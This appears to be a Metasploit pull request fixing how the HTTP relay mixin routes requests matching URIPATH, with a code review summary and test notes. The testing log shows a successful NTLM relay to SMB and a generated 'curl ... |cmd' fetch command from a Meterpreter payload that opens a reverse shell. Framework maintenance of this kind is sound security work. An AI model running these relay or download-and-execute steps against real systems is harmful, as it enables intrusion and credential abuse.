Fix bug where relay server failed to work if the attacker used the UR…#21677
Conversation
There was a problem hiding this comment.
Pull request overview
This PR fixes a routing bug in the HTTP relay server mixin where requests matching the configured URIPATH were being dispatched to the base HttpServer#on_request_uri handler (a no-op) instead of the relay state machine, causing those requests to be silently swallowed.
Changes:
- Deregisters the
URIPATHoption forMsf::Exploit::Remote::HttpServer::Relayand forces the relay handler to mount only a single catch-all resource at/viaopts['Uri']before callingsuper. - Removes the extra explicit
add_resource('/')call in the relay mixin (so only the intended catch-all route exists). - Adds an RSpec regression test asserting that only
/is mounted even ifURIPATHis set.
Impact Analysis:
- Blast radius: medium — affects all modules including
Msf::Exploit::Remote::HttpServer::Relay(confirmed:auxiliary/server/relay/http_to_smb,auxiliary/server/relay/http_to_ldap,exploits/windows/local/ntlm_relay_2_self). - Data and contract effects: option surface change —
URIPATHis no longer available on relay-based modules; HTTP routing behavior changes so relay reliably handles all non-specific paths while allowing more-specific resources (from other modules sharing the same service) to win via longest-prefix matching. - Rollback and test focus: rollback is straightforward (revert mixin change); focus validation on (1) requests to
/and arbitrary paths relaying correctly, (2) requests to any specifically-registered resource paths still being handled by their owning module, and (3) coexistence with other HTTP server users on the same listener.
Reviewed changes
Copilot reviewed 2 out of 2 changed files in this pull request and generated no comments.
| File | Description |
|---|---|
| lib/msf/core/exploit/remote/http_server/relay.rb | Forces the relay handler to be registered as the base / resource via opts['Uri'] and removes the misleading URIPATH option to prevent route swallowing. |
| spec/lib/msf/core/exploit/remote/relay/http_spec.rb | Adds a regression spec ensuring the relay server mounts only / (catch-all) even when URIPATH is set. |
|
Looks like this also affects |
jheysel-r7
left a comment
There was a problem hiding this comment.
Great find @bwatters-r7, thanks for putting put this fix. Followed the testing steps and everything is working as expected 👍
Testing
- Start the http_to_smb relay sever
- Verify the relaying still works
- Leave the relay server running
- Load a second module that starts an http server - use the same port!
- Rerun the relay attack and ensure the relay server is unaffected by the second module's http server
- Verify the registered resource of the second module is working
msf auxiliary(server/relay/http_to_smb) > set rhosts 10.5.134.192
rhosts => 10.5.134.192
msf auxiliary(server/relay/http_to_smb) > set srvhost 192.168.3.8
srvhost => 192.168.3.8
msf auxiliary(server/relay/http_to_smb) > set srvport 8089
srvport => 8089
msf auxiliary(server/relay/http_to_smb) > run
[*] Auxiliary module running as background job 1.
msf auxiliary(server/relay/http_to_smb) >
[*] Using URL: http://172.16.199.1:8089/
[*] Server started.
[*] Received GET request for /test from 10.5.134.194:59176
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59177
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59177
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] Target list exhausted for 10.5.134.194. Closing connection.
msf auxiliary(server/relay/http_to_smb) > sessions -l
Active sessions
===============
Id Name Type Information Connection
-- ---- ---- ----------- ----------
1 smb SMB sandy @ 10.5.134.192:445 192.168.3.8:65456 -> 10.5.134.192:445 (10.5.134.192)
msf auxiliary(server/relay/http_to_smb) > use payload/cmd/windows/http/x64/meterpreter/reverse_tcp
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_srvport 8089
fetch_srvport => 8089
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_pipe true
fetch_pipe => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_uripath q
fetch_uripath => q
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set verbose true
verbose => true
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set lhost 192.168.3.8
lhost => 192.168.3.8
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > set fetch_command curl
fetch_command => CURL
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) > to_handler
[*] Command to execute on target: curl -s http://192.168.3.8:8089/q|cmd
[*] Payload Handler Started as Job 2
[*] Fetch handler listening on 192.168.3.8:8089
[*] HTTP server started
[*] Adding resource /WlUYWaGQBkFNx2p4u32Opw
[*] Adding resource /q
[*] Started reverse TCP handler on 192.168.3.8:4444
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
[*] Received GET request for /test from 10.5.134.194:59180
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received GET request for /test from 10.5.134.194:59181
[*] Processing request in state unauthenticated from 10.5.134.194
[*] Received Type 1 message from 10.5.134.194, attempting to relay...
[*] Attempting to relay to 10.5.134.192:445
[*] Received type2 from target smb://10.5.134.192:445, attempting to relay back to client
[*] Received GET request for /test from 10.5.134.194:59181
[*] Processing request in state awaiting_type3 from 10.5.134.194
[*] Received Type 3 message from 10.5.134.194, attempting to relay...
[+] Identity: WHISTLER\sandy - Successfully relayed NTLM authentication to SMB!
[+] Relay succeeded
[*] Target list exhausted for 10.5.134.194. Closing connection.
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
[*] Client 10.5.134.194 requested /q
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Client 10.5.134.194 requested /WlUYWaGQBkFNx2p4u32Opw
[*] Sending payload to 10.5.134.194 (curl/7.83.1)
[*] Sending stage (248902 bytes) to 10.5.134.194
[*] Meterpreter session 3 opened (192.168.3.8:4444 -> 10.5.134.194:59185) at 2026-07-15 15:27:21 -0700
msf payload(cmd/windows/http/x64/meterpreter/reverse_tcp) >
Release NotesFixes a bug in the HTTP relay server mixin where requests matching the module's URIPATH were silently dropped instead of being relayed The fix removes the now-unnecessary URIPATH option, ensures all requests are properly relayed, and adds spec tests to cover the fix. |
Description
This PR fixes a bug I found while testing #21620
The issue was that the relay failed if the target requested the URIPATH value provided in the module setup. Any other path requested was relayed properly. This confused me greatly.
The reason it failed was that the http relay library code called
superonstart_servicewhich created an HTTP server with the resource provided inURIPATH, and then it went on to specifically add a second catch-all resource for the relay using/.That created a situation where anything not matching a resource in the HTTP server was sent to
on_relay_request(yes, good!) but anything that matched a registered resource was sent toon_request_urito get that resource (also good!). Unfortunately, that resource had no data attached to it, so it silently failed and was eaten by exception handling (no, bad!).This fix:
Removes the URIPATH option because we don't need it.
Populates the
optshash with the catch-all/and callssuperin http_relay rather than callingsuperand then adding the resource separately.Removes call to register
/as a resource.Adds Spec tests
Breaking Changes
I don't believe this breaks anything, but this library is also used by the
http_to_ldapmodule.Reviewer Notes
None
Verification Steps
First, Create the relay and verify that it works:
Next, DO NOT CLOSE THE RELAY, just hit enter and use something else that needs an HTTP server. Be sure to use the same port. The goal here is to make sure that the relay catches anything NOT registered as a resource, but that if someone adds a resource to the HTTP server, it is served properly. I chose an HTTP-based fetch payload:
Now, I resend the relay request to verify that we are serving the relay and the payloads....
Now, verify the HTTP server will serve the fetch payload:
Test Evidence
See above
Environment
msfconsole on Ubuntu 26, relay on Windows 10x64 to Windows Server 2025
Ask me for target access
AI Usage Disclosure
Claude helped locate the issue, and then suggested that we replace
on_uri_requestwithon_relay_requestwhich I think would have caused the relay to serve everything, and that is not what we want, so I came up with this option. I also had Claude make the spec tests.Pre-Submission Checklist
lib/changes)